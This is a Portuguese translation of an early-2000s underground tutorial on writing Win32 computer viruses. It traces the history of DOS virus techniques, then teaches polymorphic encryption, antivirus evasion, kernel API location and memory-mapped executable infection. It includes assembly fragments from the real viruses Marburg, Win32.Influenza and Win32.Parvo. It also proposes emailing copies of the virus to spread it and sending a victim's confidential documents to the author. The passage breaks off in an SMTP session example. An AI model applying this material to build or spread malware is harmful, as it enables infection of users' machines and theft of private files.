 
                         __  ___  ___ / __   .   __
                   |\/| |__|  |  |__   |__)  |  |__|
                   |  | |  |  |  |___  |  \  |  |  |

 
									     
   
     2 - Introducao a programacao de virus em Win32
   
  
                                            GriYo <griyo@akrata.org>
                                            traduzido por Dr Herman

  Indice

    Olhando o passado
    Um alfabeto infinito
    Quem escondeu a caixa de ferramentas ?
    Tudo que queriamos fazer
    Memoria fotografica
    Protecao contra erros
    Um muro alto, mas com portas
    Tem mensagem pra voce
  

  -----------------
  Olhando o passado
  -----------------

  Se dermos um passeio pela Internet buscando paginas especializadas
  em virus, encontraremos uma porrada de documentos, colecoes de 
  virus, fontes, links "mortos" e todo tipo de informacao totalmente
  obsoleta. O motivo disso e o desaparecimento paulatino do MSDOS.
  Cerca 90% dos 30.000 virus existentes hoje sao virus MSDOS.
  { Atualizando ... hoje inicio de 2001 estamos na marca de uns 50000 }
  A maioria destes virus que foram tao famosos deixaram de funcionar
  com o aparecimento do Windows. Muitos virus utilizam metodos nao-
  documentados e pouco compativeis e, da mesma maneira que ocorre
  com os "exploits" e com os "denail of service", as tecnicas 
  utilizadas deixam de funcionar, e os problemas de seguranca diminuem
  (embora em algumas ocasioes aumentem). Com o aparecimento do Windows 
  3.0 muitos virus perderam a compatibilidade, mas a "cena" ainda 
  estava muito concorrida, e nao tardou a aparecerem trabalhos 
  orientados a este novo enfoque. O mesmo aconteceu com a chegada 
  das sucessivas versoes do Windows anteriores ao 95. Trabalhos como 
  o virus "Sucksexee" (tambem conhecido como "Implant.6128") levaram 
  ao extremo a capacidade do MSDOS. Algumas caracteristicas deste 
  virus sao:

    - Full-stealth:

    Esta tecnica consiste em ocultar totalmente a existencia do virus.
    Se abrirmos um arquivo infectado, este parecera normal. O mesmo
    ocorre se tentarmos usar um debugger. Nao se nota nenhum aumento
    no tamanho dos executaveis, com excecao de alguns que crescem
    cerca de 6Kb.

    - Retro-virus:

    O virus foi desenhado para atacar diretamente o anti-virus. Um
    exemplo: estando o virus ativo em memoria antes de executarmos o
    conhecido anti-virus ThunderByte, certos parmetros sao colocados
    automaticamente na linha de comandos, de forma que a "busca"
    (scan) em memoria fosse desativada sem que o usuario percebesse.
    Outra caracteristica "retro" deste virus e sua capacidade de
    desativar o "boot" a partir de disquetes, o que obrigava o "boot"
    a partir do HD da maquina ja infectada.


    - Polimorfismo:
   
    Esta tecnica surgiu com autores como Dark Avenger com seu 
    "Mutation Engine" ou com o grupo holandes Trident e seu "TPE".
    A ideia basica era criar um procedimento que percorre o virus, 
    encriptando cada byte. Este procedimento deve ser gerado de  
    forma que variasse de infeccao a infeccao. As possiveis variacoes
    deste procedimento sao:
   
      . percorrer o virus desde ao endereco de memoria mais baixa,
        incrementando a cada iteracao o ponteiro que faz referencia
        a este endereco de memoria. O caso oposto, percorrer o virus
        do final (endereco de memoria mais alto) ate o inicio,
        decrementando o ponteiro a cada iteracao. A cada iteracao o
        ponteiro incrementaria ou decrementaria, mas esta variacao
        poderia ser de 1 ou 2 bytes, visto que o 8086 e seus sucessores
        permitem realizar operacoes com bytes ou words.

      . a operacao aritmetica usada para encriptar o virus tambem e
        variavel. Qualquer uma serve, por mais simples que seja -- o
        importante e alcancar a maxima variacao. A rotina pode 
        percorrer o virus somando 01h a cada byte, restando, fazendo 
        um OU EXCLUSIVO (XOR) ou deslocando o cada valor um numero de 
        bits para a esquerda ou direita. O importante e que a operacao
        utilizada seja concissa e tenha uma inversa.         

    Como vimos, e possivel fazer infinitas combinacoes e este e o
    segredo. Os anti-virus, naqueles tempos, realizam a busca de
    arquivos infectados mediante uma comparacao de cadeias (strings).
    O anti-virus abria cada arquivo do disco e buscava em seu interior
    fragmentos do virus. Este metodo apresentava problemas claramente
    evidentes:

    E necessario conhecer a cadeia que se quer buscar, por que so podem
    ser detectados aqueles virus "conhecidos" pelo anti-virus. Com o
    crescimento do nemero de virus, crescia a quantidade de cadeias a
    serem buscadas em cada arquivo e consequentemente, o tempo de
    verificacao (scan).

    O polimorfismo significou o fim de todos os metodos de deteccao. Um
    virus polimorfico apresenta um nemero tao elevado de mutacoes que 
    seria impossivel armazenar e buscar todas suas variantes.
    
    - Multi-partes (multipartite):
    
    O virus infecta meltiplos alvos num mesmo sistema. Neste caso, trata-se
    do virus MBR (Master Boot Record), os arquivos com extensao .COM, os 
    arquivos .EXE e inclusive os arquivos .SYS. Encontramos esta 
    caracteristica em sua maxima expressao nos virus multi-plataforma.

    Eu me atreveria dizer que dificilmente se poderia chegar tao longe
    com tecnicas utilizadas sem afetar a capacidade do sistema, mas
    entao os desenvolvedores de antivirus disseram que estavam com a 
    solucao definitiva. Surgia a busca heuristica, baseada na aplicacao 
    de tecnicas de inteligencia artificial. Mas todos nos sabemos que 
    por mais 'inteligente' que seja um programa de computador, jamais 
    sera igual a um ser humano, e nao tardou a aparecer tecnicas 
    *anti-heuristicas*. 


  Mas vejamos um pouco mais sobre a busca heuristica. Trata-se de
  examinar um programa em busca de sinais de infeccao. Um virus, quando
  infecta um executavel, precisa fazer algumas mudancas nele, sendo que
  estas mudancas sao suspeitas para o antivirus. Os "motores" 
  heuristicos mais avancados sao capazes de detectar virus polimorficos,
  ja que detectam a rotina de encriptacao que falamos anteriormente, 
  e ainda chegam mais longe, e com emulacao sao capazes de desfazer
  esta rotina e obter uma imagem clara do virus, podendo aplicar entao
  a busca por cadeia tradicional. O problema da busca heuristica esta
  em que esta oferece sempre uma solucao, mesmo que nao seja correta.
  Estou me referindo aos falsos positivos, quer dizer, programas que
  por suas caracteristicas especiais dao positivo ao se buscar um virus
  neles. Em mais de uma ocasiao, antivirus conhecidos deram como infectado 
  alguns arquivos do sistema, juntamente com uma avalanche de usuarios 
  aborrecidos. Com a aparicao do Windows 95 e a nova plataforma Win32, 
  todas estas tecnicas, dependentes do funcionamento interno do MSDOS,
  deixaram de funcionar. A maioria dos virus de boot se delatam ao 
  infectar uma maquina com Windows 95, que incorpora alguns mecanismos 
  de protecao contra virus, mesmo que basicos e primitivos. Outro 
  exemplo de perda de funcionalidade sao os virus "stealth", ja que 
  empregam tecnicas incompativeis com o novo formato de nomes extensos 
  e novas funcoes de busca de arquivos do sistema.

  O desenvolvimento de virus parou por um tempo. Continuavam a surgir
  virus de MSDOS, mas o perigo ja estava longe. Apareceram as primeiras
  tentativas na plataforma Win32, na mao do sempre inovador grupo VLAD
  e seu virus Bizatch (chamado de Boza pelos programadores de antivirus).
  Este virus utiliza tecnicas primitivas que impediam seu funcionamento
  correto (como assumir enderecos fixos em memoria para o kernel e suas
  funcoes), mas era um primeiro passo que seguramente motivou muitos
  outros autores que nao demoraram em dar o passo e comecar a estudar
  a nova plataforma. Foi neste passo, para alguns passos de gigante,
  que a maior parte da cena desapareceu. As paginas web que antes 
  continham informacoes pontuais sobre a cena, deixaram de ser 
  atualizadas com tanta regularidade, devido a falta de avancos e
  descobrimentos. Apenas alguns grupos concentraram suas forcas na
  nova plataforma, e apareceram as primeiras tentativas serias, das
  maos de grupos como IKX ou 29A. Jacky Qwerty, autor do grupo 29A
  foi sem duvida um dos pioneiros da tecnologia virotica sob 32 bits.
  Seus virus Jacky e Cabanas criaram as bases do que logo seriam 
  infectadores mais completos e avancados.

  Os desenvolvedores de anti-virus ainda estavam pensando como portar
  seus "motores" de busca heuristica para Win32 quando apareceu o 
  primeiro virus polimorfico capaz de infectar executaveis de Win32. 
  Marburg pegou muitos de calcas baixas, e chegou ate a aparecer nos 
  cdroms de revistas amplamente difundidas como PcGamer e PcPowerPlay.

  As primeiras amostras do virus Marburg cairam nas maos dos 
  desenvolvedores de anti-virus em agosto de 1998, quando o virus 
  estava 9 meses "in the wild" (espalhando-se de modo aleatorio pelo 
  mundo). Nao tardaram um ou dois meses mais para que adaptar seus 
  pacotes para afrontar este novo ataque. A guerra estava declarada 
  novamente.

  A nova plataforma supoe um esforco extra na hora de desenvolver um
  virus, mas seu maior potencial coloca nas maos dos programadores
  armas mais potentes. Descrever este novo potencial e sua aplicacao ao
  se desenvolver um virus e  o objetivo deste artigo.


  --------------------
  Um alfabeto infinito
  --------------------

  Esta claro que 16 bits nao e o mesmo que 32 bits, mas que diferenca
  isso faz na hora de projetar um motor de polimorfismo ? Para comecar,
  nao contamos apenas com registros de 16 bits (ax, bx, etc...) mas
  sim com toda a potencia do conjunto de registros estendidos (eax,
  ebx, etc...). Uma primeira melhora sobre o motor de polimorfismo de
  16 bits seria aumentar os 16 bits que faltam para chegar a 32. 
  Vejamos um exemplo com uma instrucao simples no assembly, MOV com 
  o registro acumulador como destino. Onde antes apenas poderiamos 
  gerar:
  
                MOV AL,imm8bit
                MOV AH,imm8bit
                MOV AX,imm16bit

  Agora contamos com as seguintes possibilidades:

                MOV AL,imm8bit
                MOV AH,imm8bit
                MOV AX,imm16bit
                MOV EAX,imm32bit
  
  Isso apenas supoe um incremento na variabilidade de uma instrucao,
  mas se apliarmos o exemplo para o resto dos registros e para o
  resto das instrucoes veremos que se trata de uma importante melhora.
  Outro aspecto importante esta no acesso a memoria que a rotina 
  realiza na hora de desencriptar o virus. Nos motores de polimorfismo
  antigos contavamos com o acesso byte a byte ou word a word. Exemplo:

                ADD BYTE PTR DS:[mem],imm8bit
                ADD WORD PTR DS:[mem],imm16bit

  
  Visto que agora usamos  Win32, nao apenas podemos nos livrar dos 
  registros de segmento (a memoria parece seqencial no ponto de vista
  de uma aplicacao e nao segmentada), como podemos contar com 
  instrucoes que acessam posicoes de memoria de 32 bits. O exemplo 
  anterior seria expandido em:


                ADD BYTE PTR [mem],imm8bit
                ADD WORD PTR [mem],imm16bit
                ADD DWORD PTR [mem],imm32bit

  Novamente, temos apenas uma possibilidade de variacao, mas repito, 
  se aplicarmos todas as possiveis instrucoes teremos uma bonita 
  explosao combinatoria. Uma delas foi formada pelos novos metodos 
  de indexacao, onde antes tinhamos:

                ADD BYTE PTR DS:[reg],imm8bit
                ADD BYTE PTR DS:[reg+imm],imm8bit

  Agora nos deparamos com as seguintes possibilidades:  

                ADD BYTE PTR [reg],imm8bit
                ADD BYTE PTR [reg+imm],imm8bit
                ADD BYTE PTR [reg+reg],imm8bit
                ADD BYTE PTR [reg+reg+imm],imm8bit

  Alem disso, podemos utilizar algum dos exoticos modos de indexacao do
  386+ como por exemplo [reg*02h]. Aqui temos mais possibilidades, que
  se multiplicam ao aplicar o exemplo nao apenas em ADD e as referencias
  a BYTE, mas a todo o resto das instrucoes e ao resto dos tamanhos do
  operador (WORD e DWORD). Evidentemente, um grande potencial, e olhe
  que apenas estamos falando de instrucoes e registros. A geracao 
  automatica de codigo polimorfico alcanca seus vos mais altos em 
  motores capazes de seguir a evolucao do codigo que geraram, conhecendo
  em qualquer momento o estado de qualquer registro ou mesmo seu valor.
  Continuando, podemos observar um trecho do desencriptador polimorfico
  que o virus Win32.Influenza utiliza para ocultar sua presenca nos
  arquivos infectados:

                :00401376 E81D000000     call   00401398
                .                        .
                .                        .
                .                        .
                :00401398 BE5F4D853E     mov    esi,3E854D5F
                :0040139D 87DE           xchg   esi,ebx
                :0040139F 5B             pop    ebx
                :004013A0 668BFB         mov    di,bx
                :004013A3 8BF8           mov    edi,eax
                :004013A5 66BDB0C8       mov    bp,C8B0
                :004013A9 5D             pop    ebp
                :004013AA 0F8C03000000   jl     004013B3
                :004013B0 6687D3         xchg   bx,dx
                :004013B3 FD             std
                :004013B4 664B           dec    bx
                :004013B6 E9AA260100     jmp    00413A65
                .                        .
                .                        .
                .                        .
                :00413A65 E815000000     call   00413A7F
                .                        .
                .                        .
                .                        .
                :00413A7F 87FA           xchg   edx,edi
                :00413A81 F8             clc
                :00413A82 664F           dec    di
                :00413A84 5B             pop    ebx
                :00413A85 8AEE           mov    ch,dh
                :00413A87 E912000000     jmp    00413A9E


  Podemos observar como o codigo gerado apresenta uma estrutura 
  complexa similar a de um programa real. O motor de polimorfismo nao 
  tem problemas para gerar estruturas como a instrucao CALL do endereco
  de memoria 00401376, que transfere o controle para uma posicao mais
  adiante. No endereco 0040139F encontramos uma instrucao POP que
  restaura a pilha, eliminando o endereco de retorno guardado pela
  chamada anterior.


  --------------------------------------
  Quem escondeu a caixa de ferramentas ?
  --------------------------------------
  
  Nos virus baseados em MSDOS utilizavamos as interrupcoes que nos
  permitiam acessar funcoes do MSDOS (int 21h) ou da BIOS (int 13h).
  Todas estas funcoes que utilizavamos para abrir um arquivo ou 
  escrever nele agora residem em DLLs, neste caso na KERNEL32.DLL. 
  Localizar o endereco em memoria onde reside este modulo e vital, e 
  para isso contamos com varios truques. O virus pode localizar as 
  funcoes utilizadas pelo programa que o hospeda, e utiliza-las para 
  infectar. Isso implicaria numa grave limitacao: se um executavel nao 
  utiliza alguma das funcoes necessarias para o funcionamento do virus,
  este executavel nao poderia ser infectado. Uma forma de evitar este
  problema:

    O virus localiza o lugar onde o programa hospedeiro guarda o 
    endereco da funcao GetModuleHandle e da funcao GetProcAddress. 
    Estas funcoes sao utilizadas por praticamente todos os executaveis 
    do Windows, e permitem que o virus localize o endereco de memoria 
    onde reside o modulo do kernel (GetModuleHandle), assim como todas 
    as suas funcoes exportadas (GetProcAddress).

  Outra possibilidade e rastrear a memoria em busca do kernel mas, e
  claro, isso nao e tao facil com parece, ja que se durante esta busca
  acessarmos um endereco protegido ou nao atribuido, provocaremos um 
  erro de protecao, e conseqentemente aquela mensagem que indica que 
  nosso programa executou uma instrucao invalida. Para evitar isso, 
  contamos com uma das caracteristicas mais eteis do Win32, que 
  trataremos com detalhes mais adiante, estou me referindo a SEH 
  (Structered Exception Handling).

  Existem outros metodos e seguramente aparecerao outros, mas estes 
  dois sao os mais eficazes quando escrevi este. Uma vez que o virus 
  tem acesso as API's do sistema, praticamente nao ha nada o que nao 
  possa ser feito. Ou ha? Para comecar, o virus pode colocar em 
  funcionamento as APIs SetModuleHandle e GetProcAddress que servira 
  de ponto de entrada para uma porcao de funcoes do kernel. Exemplo:

    CreateFile 
    CreateFileMapping 
    CloseHandle 
    CopyFile 
    CreateProcess 
    DeleteFile 
    FileTimeToSystemTime 
    FindClose 
    FindFirstFile 
    FindNextFile 
    FreeLibrary 
    GetCurrentDirectory 
    GetCurrentProcess 
    GetFileAttributes 
    GetFileSize 
    GetModuleFilename 
    GetSystemDirectory 
    GetTempPath 
    GetWindowsDirectory 
    LoadLibrary 
    MapViewOfFile 
    MoveFile 
    SetEndOfFile 
    SetFileAttributes 
    SetFileTime 
    SystemTimeToFileTime 
    UnmapViewOfFile 
    VirtualAlloc 
    WriteProcessMemory 

  Algumas ou todas estas APIs podem ser utilizadas no virus. Destaco a
  funcao LoadLibrary, que nos permitira carregar na rotina qualquer
  modulo do Windows e utilizar suas APIs.

  O seguinte fragmento pertence ao virus Marburg. Trata-se da rotina 
  encarregada de localizar cada uma das APIs do kernel necessarias para
  o funcionamento do virus, todo ele com a ajuda de GetProcAddress. 

        get_K32_APIs:   push ebx
                        lea esi,dword ptr [ebp+viral_functions]
                        lea edi,dword ptr [ebp+viral_addresses]
                        mov ecx,(offset viral_tbl_end-offset viral_functions)/04h
        get_each_ep:    cld
                        lodsd
                        add eax,ebp
                        push ecx
                        push esi
                        push edi
                        push eax
                        push dword ptr [ebp+a_Kernel32]
                        call dword ptr [ebp+a_GetProcAddr]
                        pop edi
                        pop esi
                        pop ecx
                        or eax,eax
                        jz exit_get_func
                        cld
                        stosd
                        loop get_each_ep
        exit_get_func:  mov ecx,eax
                        pop ebx
                        ret

        viral_functions equ this byte

                        dd offset szCreateFileA
                        dd offset szCreateFileMap
                        dd offset szMapViewOfFile
                        dd offset szUnmapView
                        dd offset szCloseHandle
                        dd offset szFindFirst
                        dd offset szFindNext
                        dd offset szFindClose
                        dd offset szVirtualAlloc
                        dd offset szGetWinDir
                        dd offset szGetSysDir
                        dd offset szGetCurDir
                        dd offset szSetFileAttr
                        dd offset szSetFileTime
                        dd offset szDeleteFile
                        dd offset szGetCurProc
                        dd offset szWriteProcMem
                        dd offset szLoadLibrary
                        dd offset szGetSysTime

        viral_tbl_end   equ this byte

        szGetModuleH    db "GetModuleHandleA",00h
        szGetProcAddr   db "GetProcAddress",00h
        szCreateFileA   db "CreateFileA",00h
        szCreateFileMap db "CreateFileMappingA",00h
        szMapViewOfFile db "MapViewOfFile",00h
        szUnmapView     db "UnmapViewOfFile",00h
        szCloseHandle   db "CloseHandle",00h
        szFindFirst     db "FindFirstFileA",00h
        szFindNext      db "FindNextFileA",00h
        szFindClose     db "FindClose",00h
        szVirtualAlloc  db "VirtualAlloc",00h
        szGetWinDir     db "GetWindowsDirectoryA",00h
        szGetSysDir     db "GetSystemDirectoryA",00h
        szGetCurDir     db "GetCurrentDirectoryA",00h
        szSetFileAttr   db "SetFileAttributesA",00h
        szSetFileTime   db "SetFileTime",00h
        szDeleteFile    db "DeleteFileA",00h
        szGetCurProc    db "GetCurrentProcess",00h
        szWriteProcMem  db "WriteProcessMemory",00h
        szLoadLibrary   db "LoadLibraryA",00h
        szGetSysTime    db "GetSystemTime",00h

        viral_addresses equ this byte

        a_CreateFile    dd 00000000h
        a_CreateFileMap dd 00000000h
        a_MapViewOfFile dd 00000000h
        a_UnmapView     dd 00000000h
        a_CloseHandle   dd 00000000h
        a_FindFirst     dd 00000000h
        a_FindNext      dd 00000000h
        a_FindClose     dd 00000000h
        a_VirtualAlloc  dd 00000000h
        a_GetWindowsDir dd 00000000h
        a_GetSystemDir  dd 00000000h
        a_GetCurDir     dd 00000000h
        a_SetFileAttr   dd 00000000h
        a_SetFileTime   dd 00000000h
        a_DeleteFile    dd 00000000h
        a_GetCurProc    dd 00000000h
        a_WriteProcMem  dd 00000000h
        a_LoadLibrary   dd 00000000h
        a_GetSysTime    dd 00000000h


  ------------------------
  Tudo que queriamos fazer
  ------------------------

  Utilizando as API's do kernel LoadLibrary e GetProcAddress podemos
  carregar qualquer modulo do Windows e obter os enderecos das API's 
  que nos interessam dentro deles. Assim poderemos incluir em nosso 
  virus muitas caracteristicas novas que antes eram impensaveis quando
  trabalhavamos com o MSDOS. Eis alguns modulos cujas API's podemos 
  usar:

    USER32.DLL e GDI32.DLL 
    ----------------------
    O coracao da interface grafica que fez o Windows tao famoso esta a
    nossa disposicao para facilitarmos as coisas na hora de criar
    "payloads" vistosos para nossos virus.
   
    WSOCK32.DLL 
    -----------
    Esta biblioteca proporciona uma gama de funcoes orientadas a 
    aplicacoes que usam TCP/IP. Com sua ajuda podemos criar aplicacoes
    como um cliente FTP ou um cliente TELNET, mas tambem podemos as
    utilizar dentro de um virus para, por exemplo, conectar com um
    servidor de mail, compor e enviar a mensagem. Esta mensagem pode ser
    enviada para outros usuarios junto com uma copia do virus (mail
    spreading) ou pode enviar para uma conta pertencente ao autor do
    virus documentos confidenciais localizados na maquina contaminada.

    WININET.DLL
    -----------
    Este modulo contem funcoes destinadas a facilitar tarefas tipicas de 
    aplicacoes orientadas a Internet. Dentro deste modulo encontraremos
    funcoes que nos permitam conectar ao nosso provedor Internet,
    trasmitir arquivos (FTP), descarregar paginas web ou brincar com os
    "cookies".
   
    MAPI32.DLL 
    ----------
    Este modulo abriga as funcoes de mensagens do Windows. Com a mesma
    podemos construir de forma compacta um email e anexar um arquivo no
    mesmo. Nem sempre encontraremos este modulo no sistema, e sua
    utilizacao provoca em certas ocasioes o aparecimento de mensagens
    indicando o estado da operacao que esta sendo realizada (a tipica
    mensagem mostrada pelo Outlook: "conectando com o servidor" ou
    "enviando mensagem").  por isso que, mesmo simplificando as tarefas
    de enviar correio, nao e recomendavel sua utilizacao num virus, onde
    se supoe que deva ser um pouco mais "discreto".
   
    ADVAPI32.DLL 
    ------------
    O registro do sistema e sem devida uma importantissima fonte de
    informacao. Nele podemos extrair nomes de diretorios, servidores, 
    senhas e todo tipo de informacao  *sensible*.

  Estes sao alguns dos modulos mais "gulosos" cujas funcoes podemos
  utilizar nos nossos virus, mas existe toda uma pilha de modulos
  destinados a meltiplas tarefas. Nao temos mais que fechar os olhos para
  o diretorio SYSTEM32. Outros modulos interessantes para a programacao
  de virus poderiam ser: NETAPI32.DLL, SHELL32.DLL, RASAPI.DLL,
  OPENGL32.DLL ...


  -------------------
  Memoria fotografica
  -------------------
  
  Esta caracteristica do Win32 nos da a possibilidade de trazermos um
  executavel inteiro para a memoria, por maior que seja, e acessa-lo 
  facilmente utilizando com indice o endereco de memoria onde foi
  mapeado. Desta forma evitamos os constantes acessos a disco e
  deslocamentos desnecessarios do ponteiro de leitura/escrita. O
  procedimento e o seguinte:

  Obtemos um handle para o arquivo que queremos abrir utilizando 
  CreateFile.

  Mapeamos o arquivo em memoria usando a API CreateFileMapping.

  Uma vez mapeado, obtemos o endereco base em memoria onde foi mapeado o
  arquivo utilizando MapViewOfFile. 

  Uma vez que trouxemos o executavel inteiro para a memoria (se for muito
  grande o Windows se encarrega de fazer o correspondente swap), podemos
  percorrer sua estrutura interna sem problemas, apenas teremos que somar
  o endereco base com o deslocamento que queremos acessar. Os arquivos
  mapeados em memoria permitem que um virus infecte uma grande quantidade
  de arquivos em pouco tempo e sem que seja percebido.

  Vejamos um exemplo de como funcionam estas APIs: 

                xor eax,eax                                     ;
                push eax                                        ;
                push FILE_ATTRIBUTE_NORMAL                      ; Atributos
                push OPEN_EXISTING                              ; Acao
                push eax                                        ;
                push eax                                        ;
                push GENERIC_WRITE or GENERIC_READ              ; Modo de acceso
                lea eax,dword ptr [ebp+file2open]               ; Nome do arquivo
                push eax                                        ;
                call dword ptr [ebp+a_CreateFileA]              ;
                cmp eax,INVALID_HANDLE_VALUE                    ; Erro ?
                je error_createfile                             ;
                mov dword ptr [ebp+h_CreateFile],eax            ; Guardamos o handle
                xor eax,eax                                     ;
                push eax                                        ;
                push dword ptr [ebp+size]                       ; Tamanho do arquivo
                push eax                                        ;
                push PAGE_READWRITE                             ; Direitos
                push eax                                        ;
                push dword ptr [ebp+h_CreateFile]               ; Handle
                call dword ptr [ebp+a_CreateFileMappingA]       ;
                or eax,eax                                      ; Erro ?
                jz error_filemap                                ;
                mov dword ptr [ebp+h_FileMap],eax               ; Guardamos o handle
                xor eax,eax                                     ;
                push dword ptr [ebp+size]                       ; Tamanho do arquivo
                push eax                                        ;
                push eax                                        ;
                push FILE_MAP_READ or FILE_MAP_WRITE            ; Modo de acceso
                push eax                                        ;
                call dword ptr [ebp+a_MapViewOfFile]            ;
                or eax,eax                                      ; Erro ?
                jz error_view                                   ;
                mov dword ptr [ebp+base_addr],eax               ; Guardamos o endereco


  Como resultado da executacao satisfatoria do codigo anterior, teremos
  um ponteiro (que guardamos no endereco local indicado por base_addr)
  para o arquivo em memoria. Utilizaremos este ponteiro para ler ou
  escrever na memoria, refletindo estas leituras e escritas no arquivo
  em disco. Uma limitacao desta tecnica e que nao podemos aumentar o
  arquivo uma vez aberto.

  No codigo anterior podemos observar que um dos parmetros de chamada
  destas API's e o tamanho do arquivo. Pois bem, teremos que abrir o
  arquivo indicando seu tamanho mais o tamanho requerido pelo virus. Mas
  na primeira vez que abrimos o arquivo ainda nao sabemos se ele e uma
  vitima valida. Algumas solucoes para este problema:

    Abrir o arquivo com acesso apenas de leitura e respeitando seu 
    tamanho original.
   
    Uma vez que comprovarmos que se trata de um arquivo apto para
    infeccao fechamos o *FileMapping* e voltamos a criar, especificando
    desta vez o tamanho original mais o tamanho necessario para abrigar
    o virus.

    Outra possibilidade seria abrir o arquivo e criar uma imagem sua em
    memoria apenas uma vez, incluindo o tamanho do virus. Se ao
    inspeccionar o executavel descobrirmos que nao esta apto para a
    infeccao, restauraremos o tamanho original utilizando a API
    "SetEndOfFile".


  ---------------------
  Protecao contra erros
  ---------------------

  O tratamento de erros (Structured Exception Handling) e sem devida
  uma das caracteristicas mais interessantes e mais utilizadas do Win32
  e uma das menos documentadas, pelo menos no que se refere seu
  funcionamento interno. Descrever o funcionamento e a implemantacao
  desta tecnica poderia ser o objetivo de um outro artigo, e
  consequentemente nao sera tratado aqui. Para obter mais informacao
  visite minha pagina web (BioTech), na secao "PAPERS" encontrara o
  artigo "A Crash Course on th Depths of Win32 Structured Exception
  Handling". Um artigo interessantissimo escrito por Matt Pietrek (autor
  de livros como "Windows 95 System Programming Secrets") sobre as
  entranhas do "SEH".


  ----------------------------
  Um muro alto, mas com portas
  ----------------------------

  A Microsoft introduziu um novo formato para os arquivos executaveis
  com a chegada da plataforma Win32. O novo formato, chamado "Portable
  Executable", que parece ser mais completo a primeira vista, apresenta
  uma estrutura hierarquizada que, uma vez compreendida as estruturas
  internas que lhe formam, facilita bastante o trabalho de busca, 
  analise e modificacao dos campos que nos interessam.

  O primeiro que encontrarmos ao analizar a estrutura de um PE e o
  cabecalho MSDOS. Trata-se do mesmo cabecalho que possuem os arquivos
  .EXE do MSDOS. Sua finalidade e mostrar uma mensagem que diz algo como
  "This program cannot be run in DOS mode", quando tentamos executar uma
  aplicacao do Windows estando no MSDOS.

  O cabecalho dos arquivos .EXE do MSDOS possui uma marca que permite
  identifica-lo como tal. Podemos ve-la se abrirmos algum executavel com
  um editor hexadecimal -- trata-se dos caracteres "MZ". Do mesmo modo, o
  cabecalho PE e identificado pela cadeia (string) "PE\0\0" que
  encontramos como o primeiro campo.

  A continuacao aparece em "FileHeader", que obtem informacao basica
  sobre o arquivo, como o nemero de secoes que possui ou a data e hora em
  que foi "linkado". Vejamos a declaracao da estrutura:


        IMAGE_FILE_HEADER                     STRUC

              FH_Machine                      DW ?
              FH_NumberOfSections             DW ?
              FH_TimeDateStamp                DD ?
              FH_PointerToSymbolTable         DD BYTE PTR ?
              FH_NumberOfSymbols              DD ?
              FH_SizeOfOptionalHeader         DW ?
              FH_Characteristics              DW ?

         IMAGE_FILE_HEADER                    ENDS

  IMAGE_SIZEOF_FILE_HEADER                    EQU SIZE IMAGE_FILE_HEADER

   
  Segue a "OptionalHeader", que mesmo com seu nome "optional" contem
  informacao concreta e indispensavel para a correta interpretacao do
  resto do executavel. Esta e a declaracao:


        IMAGE_OPTIONAL_HEADER                 STRUC
 
              ; Campos padrao:

              OH_Magic                        DW ?
              OH_MajorLinkerVersion           DB ?
              OH_MinorLinkerVersion           DB ?
              OH_SizeOfCode                   DD ?
              OH_SizeOfInitializedData        DD ?
              OH_SizeOfUninitializedData      DD ?
              OH_AddressOfEntryPoint          DD BYTE PTR ?
              OH_BaseOfCode                   DD BYTE PTR ?
              OH_BaseOfData                   DD BYTE PTR ?

              ; Campos adicionais NT:
    
              OH_ImageBase                    DD BYTE PTR ?
              OH_SectionAlignment             DD ?
              OH_FileAlignment                DD ?
              OH_MajorOperatingSystemVersion  DW ?
              OH_MinorOperatingSystemVersion  DW ?
              OH_MajorImageVersion            DW ?
              OH_MinorImageVersion            DW ?
              OH_MajorSubsystemVersion        DW ?
              OH_MinorSubsystemVersion        DW ?
              OH_Reserved1                    DD ?
              OH_SizeOfImage                  DD ?
              OH_SizeOfHeaders                DD ?
              OH_CheckSum                     DD ?
              OH_Subsystem                    DW ?
              OH_DllCharacteristics           DW ?
              OH_SizeOfStackReserve           DD ?
              OH_SizeOfStackCommit            DD ?
              OH_SizeOfHeapReserve            DD ?
              OH_SizeOfHeapCommit             DD ?
              OH_LoaderFlags                  DD ?
              OH_NumberOfRvaAndSizes          DD ?
              
              UNION
              OH_DataDirectory                IMAGE_DATA_DIRECTORY    \
                                              IMAGE_NUMBEROF_DIRECTORY_ENTRIES \
                                              DUP (?)
              OH_DirectoryEntries             IMAGE_DIRECTORY_ENTRIES ?
              ENDS

IMAGE_OPTIONAL_HEADER                         ENDS

IMAGE_SIZEOF_STD_OPTIONAL_HEADER              EQU   28d
IMAGE_SIZEOF_NT_OPTIONAL_HEADER               EQU   SIZE IMAGE_OPTIONAL_HEADER


  No arquivo PE.INC encontrara a declaracao do resto das estruturas que
  compoem o cabecalho PE. Como exemplo de acesso a estas estruturas
  vemos, na continuacao, um fragmento do virus Win32.Parvo, no qual o
  virus verifica alguns campos do cabecalho PE para comprovar se o
  executavel esta apto para o metodo de infeccao utilizado:

                ; Verificar se a marca MZ esta presente no endereco base
                ; do arquivo mapeado em memoria

                cld
                cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
                jne inf_close_file

                ; Checar a posicao da "relocation table"

                cmp word ptr [ebx+MZ_lfarlc],0040h
                jb inf_close_file

                ; Agora verificamos o cabecalho PE e verificamos se
                ; podemos encontrar ali a marca que a identifica

                mov esi,dword ptr [ebx+MZ_lfanew]
                add esi,ebx
                lodsd
                cmp eax,IMAGE_NT_SIGNATURE
                jne inf_close_file

                ; Verificar a CPU para a qual foi compilado este
                ; executavel. Permitir somente executaveis para Intel i386

                cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
                jne inf_close_file

                ; Olhamos as caracteristicas para comprovar que se trata de um executavel

                mov ax,word ptr [esi+FH_Characteristics]
                test ax,IMAGE_FILE_EXECUTABLE_IMAGE
                jz inf_close_file

                ; Evitamos infectar DLL's

                test ax,IMAGE_FILE_DLL
                jnz inf_close_file

                ; Infectar apenas aplicacoes graficas, e nao as de console
                                
                cmp word ptr [esi+                                        \
                              IMAGE_SIZEOF_FILE_HEADER+                   \
                              OH_Subsystem],IMAGE_SUBSYSTEM_WINDOWS_GUI
                                                                        
                jne inf_close_file


  ---------------------
  Tem mensagem pra voce
  ---------------------

  Quem ainda nao brincou enviando um email utilizando um cliente TELNET?
  e bem facil, nos conectamos a porta 25 (SMTP) do servidor de correio e
  vamos enviando os comandos necessarios para construir uma mensagem, a
  saber:

                220 mail.servidor.qualquer SMTP/smap Ready.
                helo servidor.meu
                250 (servidor.meu) pleased to meet you.
                mail from: <usuario@servidor.meu>
                250 <usuario@servidor.meu>... Sender Ok
                rcpt to: <destinatario@servidor.seu>
                250 <destinatario@servidor.seu> OK
                data
